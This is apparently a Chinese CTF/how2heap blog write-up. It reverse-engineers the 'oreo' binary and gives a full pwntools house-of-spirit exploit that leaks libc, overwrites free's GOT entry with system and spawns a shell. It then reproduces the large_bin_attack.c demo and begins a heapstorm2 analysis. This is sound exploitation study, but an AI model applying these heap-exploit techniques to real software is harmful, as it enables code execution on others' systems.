<h3 id="main函数："><a href="#main函数：" class="headerlink" title="main函数："></a>main函数：</h3><img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580813725716.png" width="70%" height="70%">

<p>main函数就是一段初始化，然后进入menu</p>
<h3 id="menu"><a href="#menu" class="headerlink" title="menu"></a>menu</h3><img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580798688028.png" width="45%" height="45%">

<p>通过<code>fgets(&amp;s, 0x20, stdin);</code>和<code>__isoc99_sscanf(&amp;s, &quot;%u&quot;, &amp;v1)</code>的组合来输入然后switch</p>
<h3 id="lt-Rifile-structure-gt"><a href="#lt-Rifile-structure-gt" class="headerlink" title="&lt;Rifile structure&gt;"></a>&lt;Rifile structure&gt;</h3><p>分析下面几个函数时，先逆出程序用到的一个结构体，具体如下</p>
<img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580813775276.png" width="60%" height="60%">

<h3 id="add"><a href="#add" class="headerlink" title="add"></a>add</h3><img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580813832897.png" width="80%" height="80%">

<p>具体就是一个链表添加、结构体填充的操作（先填<code>forward_ptr</code>，再输入），全局变量head_ptr存放链表头指针，每次malloc一个refle（fast chunk），然后从对应的位置用<code>fgets</code>输入。两处溢出：<code>refle_name</code>处的溢出可以覆盖到下一个chunk的0x19字节内容，<code>newL_to_zero</code>是将最后的换行符换成<code>\x00</code>，最后<code>++refle_num</code></p>
<p><em>ps：<code>fgets(,n,)</code>时会读取 n-1个字符，并且包括 <code>\n</code>，如果输入字符的长度（不包括 <code>\n</code>）大于等于 n-1,则截取输入中前 n-1个字符（此时没有 <code>\n</code>）并把第 n个字符处填充成 <code>\x00</code>。当输入长度小于 n-1时，会把 <code>\n</code>也读入，并在 <code>\n</code>后面一个字节处填充 <code>\x00</code>（直接回车也会）</em></p>
<h3 id="Show-added-rifles"><a href="#Show-added-rifles" class="headerlink" title="Show added rifles"></a>Show added rifles</h3><img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580813868490.png" width="80%" height="80%">

<p>根据链表输出所有<code>refle</code>的内容</p>
<h3 id="order"><a href="#order" class="headerlink" title="order"></a>order</h3><img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580813953372.png" width="60%" height="60%">

<p>判断<code>refle_num</code>是否为0，不为0则获取链表头指针之后free掉链表上的每一个chunk，然后把头指针<code>head_ptr</code>置零，chunk中的<code>forward_refle_ptr</code>没有置零。然后<code>++ordered_num</code></p>
<h3 id="leave-message"><a href="#leave-message" class="headerlink" title="leave_message"></a>leave_message</h3><img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580800304100.png" width="65%" height="65%">

<p>输入0x80长度的notice到notice_ptr所指向的区域</p>
<h3 id="show-stats"><a href="#show-stats" class="headerlink" title="show_stats"></a>show_stats</h3><img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580813997114.png" width="55%" height="55%">

<p>输出<code>refle_num</code>，<code>ordered_num</code> ，<code>notice</code></p>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>程序本身没有进行 setbuf 操作，所以在执行输入输出操作的时候会申请缓冲区，初次调用 puts 时，malloc会分配缓冲区1024B 给stdout / 初次调用fgets时，malloc会分配缓冲区1024B 给stdin</p>
<p>所以一上来程序heap视图中就会有两个chunk，暂时觉得是知道怎么来的就好了 :(</p>
<p>这种链表题第一次自己写好像没有思路，先记录一下能想到东西吧</p>
<h3 id="leak："><a href="#leak：" class="headerlink" title="leak："></a>leak：</h3><p>leak libc的话，主要思路是通过溢出修改<code>forward_ptr</code>，使其指向对应GOT表的一些偏移，然后show added rifles时可以把函数的地址打印出来，leak chunk地址也可以通过这个方法，把<code>forward_ptr</code>改成<code>head_ptr</code>地址即可</p>
<p>leak stack好像行不通…</p>
<h3 id="Arbitrary-write："><a href="#Arbitrary-write：" class="headerlink" title="Arbitrary write："></a>Arbitrary write：</h3><p>程序只有三个输入点</p>
<ol>
<li>switch时调用的<code>fgets</code>和<code>sscanf</code>组合（应该没什么用，输入指针都是栈上的偏移）</li>
<li>add中的fgets，指针是对于结构体（chunk）的偏移，但是head_ptr的值在其中不可控，是malloc返回后直接输入的</li>
<li>leave_message中的<code>fgets(notice_ptr, 0x80, stdin);</code>这个是根据bss段上的一个指针来读取内容的</li>
</ol>
<p><em>ps：然后……过了好久终于才把house_of_spirit和这个题结合起来，我太stupid了</em></p>
<p>可以通过修改<code>forward_ptr</code>，指向一个bss段上有我们可控值的地方</p>
<img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580814080828.png" width="45%" height="45%">

<p>举例子拿上面第一个个8B对齐的地址来说，如果我们add一个chunk然后修改<code>forward_ptr</code>指向这里，此时0x0804A29c处的值就是fake chunk的size字段，当然这里不可控所以我们要用第二个：0x0804A2A0，此时<code>refle_num</code>是可控的。</p>
<p>然后order的时候这块内存也会被free出来，只要我们保证house_of_spirit.c中提到的fake next chunk的size段是正常的就可以被正常free（对应的size段在notice上，对应在notice上的偏移为：0x0804A2A0+0x40+4-0x0x0804A2C0=36）</p>
<p>接着这块内存就可以被正常malloc出来，这个时候就有了可控的<code>notice_ptr</code>，然后再通过leave_message就可以达成Arbitrary write了！（自己花时间想出来了太开心 XD）</p>
<h3 id="实现"><a href="#实现" class="headerlink" title="实现"></a>实现</h3><h4 id="leaklibc"><a href="#leaklibc" class="headerlink" title="leaklibc"></a>leaklibc</h4><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">printf_GOT=<span class="number">0x0804A234</span></span><br><span class="line">libc_base=<span class="number">0</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leaklibc</span><span class="params">()</span>:</span></span><br><span class="line">        add(<span class="string">'a'</span>*<span class="number">27</span>+p32(printf_GOT),<span class="string">'b'</span>*<span class="number">0x23</span>)<span class="comment">#change forward_ptr by refle_name</span></span><br><span class="line">        show_added_rifles()</span><br><span class="line">        p.recvuntil(<span class="string">'Description: '</span>)</span><br><span class="line">        p.recvuntil(<span class="string">'Description: '</span>)</span><br><span class="line">        <span class="keyword">global</span> libc_base</span><br><span class="line">        libc_base=my_u32(p.recv(<span class="number">4</span>))<span class="number">-0x49670</span></span><br></pre></td></tr></table></figure>

<h4 id="free-target-chunk"><a href="#free-target-chunk" class="headerlink" title="free target chunk"></a>free target chunk</h4><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#Cycle to fakesize=0x3f</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0x3f</span>):</span><br><span class="line">        add(<span class="string">'name'</span>,<span class="string">'description'</span>)</span><br><span class="line">order()</span><br><span class="line"></span><br><span class="line">leave_message(<span class="string">'\x00'</span>*<span class="number">36</span>+p32(<span class="number">0x41</span>))<span class="comment">#Set fake next chunk size</span></span><br><span class="line"></span><br><span class="line">add(<span class="string">'a'</span>*<span class="number">27</span>+p32(<span class="number">0x0804A2A8</span>),<span class="string">'b'</span>*<span class="number">0x23</span>)</span><br><span class="line">order()<span class="comment">#Free our bss memory out</span></span><br></pre></td></tr></table></figure>

<p>先add 0x3f个rifle然后order，目标chunk的size被设置成0x3f，然后构造fake next size来过free的检查，接着再add一个<code>forward_ptr</code>为目标chunk的rifle，此时目标chunk的size为0x40，然后free出目标chunk</p>
<h4 id="set-GOT"><a href="#set-GOT" class="headerlink" title="set GOT"></a>set GOT</h4><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">log.info(<span class="string">"\033[1;36m"</span> + <span class="string">'free out'</span> + <span class="string">"\033[0m"</span>)</span><br><span class="line">add(<span class="string">'name'</span>,p32(free_GOT))<span class="comment">#Set notice_ptr to free_GOT</span></span><br><span class="line"></span><br><span class="line">leaklibc()<span class="comment">#Now leak libc</span></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> + <span class="string">'libc_base:'</span>+hex(libc_base) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line">leave_message(p32(system_offset+libc_base)+p32(fgets_offset+libc_base))<span class="comment">#Set free_GOT to system</span></span><br></pre></td></tr></table></figure>

<p>再次malloc的时候就可以把目标chunk malloc出来了，然后直接在<code>notice_ptr</code>处填入free函数的GOT表地址</p>
<p>接着将system函数的实际地址填到free_GOT去</p>
<p><em>ps：leaklibc的操作要放到后面，要不然前面 leak之后再调用 order会出错，以及这里 free函数和 fgets的 GOT表项挨在一起，用 fgets 只填入 system 函数地址的话 fgets 的 GOT表项会被损坏（具体见前面所写的 fgets流程），程序往后运行会出错，所以这里填了两个</em></p>
<h4 id="getshell"><a href="#getshell" class="headerlink" title="getshell"></a>getshell</h4><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">add(<span class="string">'/bin/sh'</span>,<span class="string">'/bin/sh'</span>)<span class="comment">#Set /bin/sh for system(linked list head)</span></span><br><span class="line">order()<span class="comment">#free(head_ptr)=system(binsh_ptr)</span></span><br></pre></td></tr></table></figure>

<p>这个应该不用解释了</p>
<h2 id="完整exp"><a href="#完整exp" class="headerlink" title="完整exp"></a>完整exp</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'./oreo'</span>	<span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary		<span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty)	<span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\0'</span>))</span><br><span class="line">ub_offset = <span class="number">0x3c4b30</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="comment">#log.info("\033[1;36m" + hex(bin_addr) + "\033[0m")</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span><span class="params">(name,description)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Action: '</span>)</span><br><span class="line">	p.sendline(<span class="string">'1'</span>)</span><br><span class="line"></span><br><span class="line">	p.recvuntil(<span class="string">'Rifle name: '</span>)</span><br><span class="line">	p.sendline(name)</span><br><span class="line"></span><br><span class="line">	p.recvuntil(<span class="string">'Rifle description: '</span>)</span><br><span class="line">	p.sendline(description)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show_added_rifles</span><span class="params">()</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Action: '</span>)</span><br><span class="line">	p.sendline(<span class="string">'2'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">order</span><span class="params">()</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Action: '</span>)</span><br><span class="line">	p.sendline(<span class="string">'3'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leave_message</span><span class="params">(notice)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Action: '</span>)</span><br><span class="line">	p.sendline(<span class="string">'4'</span>)</span><br><span class="line"></span><br><span class="line">	p.recvuntil(<span class="string">'your order: '</span>)</span><br><span class="line">	p.sendline(notice)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show_stats</span><span class="params">()</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Action: '</span>)</span><br><span class="line">	p.sendline(<span class="string">'5'</span>)</span><br><span class="line"></span><br><span class="line">printf_GOT=<span class="number">0x0804A234</span></span><br><span class="line">libc_base=<span class="number">0</span></span><br><span class="line">system_offset=<span class="number">0x3ada0</span></span><br><span class="line">free_GOT=<span class="number">0x0804A238</span></span><br><span class="line">fgets_offset=<span class="number">0x5e150</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leaklibc</span><span class="params">()</span>:</span></span><br><span class="line">	add(<span class="string">'a'</span>*<span class="number">27</span>+p32(printf_GOT),<span class="string">'b'</span>*<span class="number">0x23</span>)</span><br><span class="line">	show_added_rifles()</span><br><span class="line">	p.recvuntil(<span class="string">'Description: '</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'Description: '</span>)</span><br><span class="line">	<span class="keyword">global</span> libc_base</span><br><span class="line">	libc_base=my_u32(p.recv(<span class="number">4</span>))<span class="number">-0x49670</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#Cycle to fakesize=0x3f</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0x3f</span>):</span><br><span class="line">	add(<span class="string">'name'</span>,<span class="string">'description'</span>)</span><br><span class="line">order()</span><br><span class="line"></span><br><span class="line">leave_message(<span class="string">'\x00'</span>*<span class="number">36</span>+p32(<span class="number">0x41</span>))<span class="comment">#Set fake next chunk size</span></span><br><span class="line"></span><br><span class="line">add(<span class="string">'a'</span>*<span class="number">27</span>+p32(<span class="number">0x0804A2A8</span>),<span class="string">'b'</span>*<span class="number">0x23</span>)</span><br><span class="line">order()<span class="comment">#Free our bss memory out</span></span><br><span class="line"></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> + <span class="string">'free out'</span> + <span class="string">"\033[0m"</span>)</span><br><span class="line">add(<span class="string">'name'</span>,p32(free_GOT))<span class="comment">#Set notice_ptr to free_GOT</span></span><br><span class="line"></span><br><span class="line">leaklibc()<span class="comment">#Now leak libc</span></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> + <span class="string">'libc_base:'</span>+hex(libc_base) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line">leave_message(p32(system_offset+libc_base)+p32(fgets_offset+libc_base))<span class="comment">#Set free_GOT to system</span></span><br><span class="line">add(<span class="string">'/bin/sh'</span>,<span class="string">'/bin/sh'</span>)<span class="comment">#Set /bin/sh for system (linked list head)</span></span><br><span class="line">order()<span class="comment">#free(head_ptr)=system(binsh_ptr)</span></span><br><span class="line"><span class="comment">#getshell</span></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

]]></content>
      <tags>
        <tag>how2heap</tag>
      </tags>
  </entry>
  <entry>
    <title>how2heap - large_bin_attack&amp;heapstorm2</title>
    <url>/2020/02/29/how2heap-large-bin-attack-heapstorm2/</url>
    <content><![CDATA[<h1 id="how2heap-large-bin-attack-amp-heapstorm2"><a href="#how2heap-large-bin-attack-amp-heapstorm2" class="headerlink" title="how2heap - large_bin_attack&amp;heapstorm2"></a>how2heap - large_bin_attack&amp;heapstorm2</h1><p>ubuntu16.04 libc2.23</p>
<h1 id="large-bin-attack-c"><a href="#large-bin-attack-c" class="headerlink" title="large_bin_attack.c"></a>large_bin_attack.c</h1><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">    This technique is taken from</span></span><br><span class="line"><span class="comment">    https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/</span></span><br><span class="line"><span class="comment">    [...]</span></span><br><span class="line"><span class="comment">              else</span></span><br><span class="line"><span class="comment">              &#123;</span></span><br><span class="line"><span class="comment">                  victim-&gt;fd_nextsize = fwd;</span></span><br><span class="line"><span class="comment">                  victim-&gt;bk_nextsize = fwd-&gt;bk_nextsize;</span></span><br><span class="line"><span class="comment">                  fwd-&gt;bk_nextsize = victim;</span></span><br><span class="line"><span class="comment">                  victim-&gt;bk_nextsize-&gt;fd_nextsize = victim;</span></span><br><span class="line"><span class="comment">              &#125;</span></span><br><span class="line"><span class="comment">              bck = fwd-&gt;bk;</span></span><br><span class="line"><span class="comment">    [...]</span></span><br><span class="line"><span class="comment">    mark_bin (av, victim_index);</span></span><br><span class="line"><span class="comment">    victim-&gt;bk = bck;</span></span><br><span class="line"><span class="comment">    victim-&gt;fd = fwd;</span></span><br><span class="line"><span class="comment">    fwd-&gt;bk = victim;</span></span><br><span class="line"><span class="comment">    bck-&gt;fd = victim;</span></span><br><span class="line"><span class="comment">    For more details on how large-bins are handled and sorted by ptmalloc,</span></span><br><span class="line"><span class="comment">    please check the Background section in the aforementioned link.</span></span><br><span class="line"><span class="comment">    [...]</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This technique only works with disabled tcache-option for glibc, see glibc_build.sh for build instructions.\n"</span>);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This file demonstrates large bin attack by writing a large unsigned long value into stack\n"</span>);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"In practice, large bin attack is generally prepared for further attacks, such as rewriting the "</span></span><br><span class="line">           <span class="string">"global variable global_max_fast in libc for further fastbin attack\n\n"</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">long</span> stack_var1 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">long</span> stack_var2 = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Let's first look at the targets we want to rewrite on stack:\n"</span>);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"stack_var1 (%p): %ld\n"</span>, &amp;stack_var1, stack_var1);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"stack_var2 (%p): %ld\n\n"</span>, &amp;stack_var2, stack_var2);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">long</span> *p1 = <span class="built_in">malloc</span>(<span class="number">0x320</span>);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now, we allocate the first large chunk on the heap at: %p\n"</span>, p1 - <span class="number">2</span>);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"</span></span><br><span class="line">           <span class="string">" the first large chunk during the free()\n\n"</span>);</span><br><span class="line">    <span class="built_in">malloc</span>(<span class="number">0x20</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">long</span> *p2 = <span class="built_in">malloc</span>(<span class="number">0x400</span>);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Then, we allocate the second large chunk on the heap at: %p\n"</span>, p2 - <span class="number">2</span>);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"</span></span><br><span class="line">           <span class="string">" the second large chunk during the free()\n\n"</span>);</span><br><span class="line">    <span class="built_in">malloc</span>(<span class="number">0x20</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">long</span> *p3 = <span class="built_in">malloc</span>(<span class="number">0x400</span>);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Finally, we allocate the third large chunk on the heap at: %p\n"</span>, p3 - <span class="number">2</span>);</span><br><span class="line"> </span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"And allocate another fastbin chunk in order to avoid consolidating the top chunk with"</span></span><br><span class="line">           <span class="string">" the third large chunk during the free()\n\n"</span>);</span><br><span class="line">    <span class="built_in">malloc</span>(<span class="number">0x20</span>);</span><br><span class="line"> </span><br><span class="line">    <span class="built_in">free</span>(p1);</span><br><span class="line">    <span class="built_in">free</span>(p2);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We free the first and second large chunks now and they will be inserted in the unsorted bin:"</span></span><br><span class="line">           <span class="string">" [ %p &lt;--&gt; %p ]\n\n"</span>, (<span class="keyword">void</span> *)(p2 - <span class="number">2</span>), (<span class="keyword">void</span> *)(p2[<span class="number">0</span>]));</span><br><span class="line"></span><br><span class="line">    <span class="built_in">malloc</span>(<span class="number">0x90</span>);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"</span></span><br><span class="line">            <span class="string">" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"</span></span><br><span class="line">            <span class="string">", and reinsert the remaining of the freed first large chunk into the unsorted bin:"</span></span><br><span class="line">            <span class="string">" [ %p ]\n\n"</span>, (<span class="keyword">void</span> *)((<span class="keyword">char</span> *)p1 + <span class="number">0x90</span>));</span><br><span class="line"></span><br><span class="line">    <span class="built_in">free</span>(p3);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now, we free the third large chunk and it will be inserted in the unsorted bin:"</span></span><br><span class="line">           <span class="string">" [ %p &lt;--&gt; %p ]\n\n"</span>, (<span class="keyword">void</span> *)(p3 - <span class="number">2</span>), (<span class="keyword">void</span> *)(p3[<span class="number">0</span>]));</span><br><span class="line"> </span><br><span class="line">    <span class="comment">//------------VULNERABILITY-----------</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""</span></span><br><span class="line">            <span class="string">" as well as its \"bk\" and \"bk_nextsize\" pointers\n"</span>);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"</span></span><br><span class="line">            <span class="string">" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"</span></span><br><span class="line">            <span class="string">" \"bk_nextsize\" to 32 bytes before stack_var2\n\n"</span>);</span><br><span class="line"></span><br><span class="line">    p2[<span class="number">-1</span>] = <span class="number">0x3f1</span>;</span><br><span class="line">    p2[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">    p2[<span class="number">2</span>] = <span class="number">0</span>;</span><br><span class="line">    p2[<span class="number">1</span>] = (<span class="keyword">unsigned</span> <span class="keyword">long</span>)(&amp;stack_var1 - <span class="number">2</span>);</span><br><span class="line">    p2[<span class="number">3</span>] = (<span class="keyword">unsigned</span> <span class="keyword">long</span>)(&amp;stack_var2 - <span class="number">4</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//------------------------------------</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">malloc</span>(<span class="number">0x90</span>);</span><br><span class="line"> </span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."</span></span><br><span class="line">            <span class="string">" During this time, targets should have already been rewritten:\n"</span>);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"stack_var1 (%p): %p\n"</span>, &amp;stack_var1, (<span class="keyword">void</span> *)stack_var1);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"stack_var2 (%p): %p\n"</span>, &amp;stack_var2, (<span class="keyword">void</span> *)stack_var2);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>感觉这种画个图的话就很明了，我这里画了一个<code>free(p3)</code>之后的图，unsortedbin上有两个chunk，largebin上有一个chunk</p>
<img src="/2020/02/29/how2heap-large-bin-attack-heapstorm2/1582794207618.png" width="80%" height="80%">



<p>这时largebin中的chunk fd_nextsize和bk_nextsize都指向自己，再来看看等下把chunk从unsortedbin中卸下来之后插入largebin的时候是什么样的</p>
<p>largebin在原代码中的插入（largebin对应bin链有chunk的情况）是这样的：</p>
<p><img src="/2020/02/29/how2heap-large-bin-attack-heapstorm2/1582823683795.png" alt="1582823683795"></p>
<p>当我们改了原largebin链中的chunk之后，就变成了这样</p>
<img src="/2020/02/29/how2heap-large-bin-attack-heapstorm2/1582796246258.png" width="70%" height="70%">

<p>此时再插入0x410的chunk(对应victim)，就会执行最下面那个else分支中的代码，</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line">victim-&gt;fd_nextsize = fwd;<span class="comment">//此时的fwd指向0x3f0的chunk</span></span><br><span class="line">victim-&gt;bk_nextsize = fwd-&gt;bk_nextsize;<span class="comment">//栈指针给到victim的bk_nextsize</span></span><br><span class="line">fwd-&gt;bk_nextsize = victim;</span><br><span class="line">victim-&gt;bk_nextsize-&gt;fd_nextsize = victim;<span class="comment">//此时var2对应的偏移刚好是-&gt;bk_nextsize-&gt;fd_nextsize</span></span><br><span class="line">									  <span class="comment">//所以var2会被赋值为victim</span></span><br><span class="line">&#125;</span><br><span class="line">bck = fwd-&gt;bk;<span class="comment">//此时bck被设置成了栈指针</span></span><br></pre></td></tr></table></figure>

<p>接着看，因为后面还会执行一段代码</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">mark_bin (av, victim_index);</span><br><span class="line">victim-&gt;bk = bck;</span><br><span class="line">victim-&gt;fd = fwd;</span><br><span class="line">fwd-&gt;bk = victim;</span><br><span class="line">bck-&gt;fd = victim;<span class="comment">//Here!栈指针指向位置的对应偏移处(var1)就也被赋值成了victim</span></span><br></pre></td></tr></table></figure>

<p>原理就是这么个原理，任意地址写了两个vicitm的地址上去</p>
<p>下面直接撸题实操吧</p>
<h1 id="heapstorm2"><a href="#heapstorm2" class="headerlink" title="heapstorm2"></a>heapstorm2</h1><p>这个题说实话写的时候overlap之后都不知道该怎么用…所以后来就直接参考了<a href="https://dangokyo.me/2018/04/07/0ctf-2018-pwn-heapstorm2-write-up/" target="_blank" rel="noopener">wp</a>(跪…真的是前路漫漫啊)</p>
<h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><p>首先根据程序的mmap创建一个新的segment，这样在IDA中看起来会好一些</p>
<h3 id="init"><a href="#init" class="headerlink" title="init"></a>init</h3><img src="/2020/02/29/how2heap-large-bin-attack-heapstorm2/1582822197248.png" width="70%" height="70%">

<p>程序用mallopt关掉了所有的fastbin，然后用mmap分配了一块固定地址的内存，并在random_area(0x13370800)为起始的位置存放了0x18个字节的随机数据，其中0偏移处的数据用来异或存放堆指针，+1偏移处的数据用来异或存放申请的size<br>然后+2和+3偏移处，也就是random_area[1]处的两个数据，是被设置成相等的</p>
<p>设置mask的意思也就是说我们在程序中申请的chunk指针还有对应的size都会被异或两个固定值然后放在这块内存区域</p>
<h3 id="alloc"><a href="#alloc" class="headerlink" title="alloc"></a>alloc</h3><img src="/2020/02/29/how2heap-large-bin-attack-heapstorm2/1582822626533.png" width="80%" height="80%">

<p>最多只能有16个chunk，按照顺序排放，其中<code>mask_xor</code>函数就是用来xor对应数据的了，mask1用来xor指针，mask2用来异或size，因为random_area的前四个qword都有意义所以我们看到的数组下标都是+2的(这里可以设置一下结构体再优化一下)，calloc(size)之后没有赋值操作，所以只是分配</p>
<h3 id="update"><a href="#update" class="headerlink" title="update"></a>update</h3><img src="/2020/02/29/how2heap-large-bin-attack-heapstorm2/1582822840553.png" width="90%" height="90%">

<p>update函数中会往chunk里读入数据（长度不能大于size-0xc），在最后再加上0xc长度的数据<code>HEAPSTORM_II</code>，但是补0的时候发生了溢出，构成off_by_null，这也是程序的漏洞点所在</p>
<h3 id="delete"><a href="#delete" class="headerlink" title="delete"></a>delete</h3><p><img src="/2020/02/29/how2heap-large-bin-attack-heapstorm2/1582822986854.png" alt="1582822986854"></p>
<p>delete函数就是输入下标然后free，并”清空”记录的数据</p>
<h3 id="view"><a href="#view" class="headerlink" title="view"></a>view</h3><p><img src="/2020/02/29/how2heap-large-bin-attack-heapstorm2/1582823036813.png" alt="1582823036813"></p>
<p>view函数比较苛刻，需要当我们random_area[1]处的两个值异或为0x13377331的时候才能writen，所以一开始leak不了，这也是我当时卡在这个题一直出不来的主要原因</p>
<h2 id="漏洞分析-amp-exploit"><a href="#漏洞分析-amp-exploit" class="headerlink" title="漏洞分析&amp;exploit"></a>漏洞分析&amp;exploit</h2><p>程序只有一个off_by_null，所以就只能shrink freed chunk然后构造overlap了（提醒一下自己以后shrink时一定要记得如果chunk被放回了bin链然后再用fit匹配出来时会触发unlink，如果不设置好fake prev_size，由于前面那个size已经被改了所以unlink检查时就会崩掉，免得老在这坑住）</p>
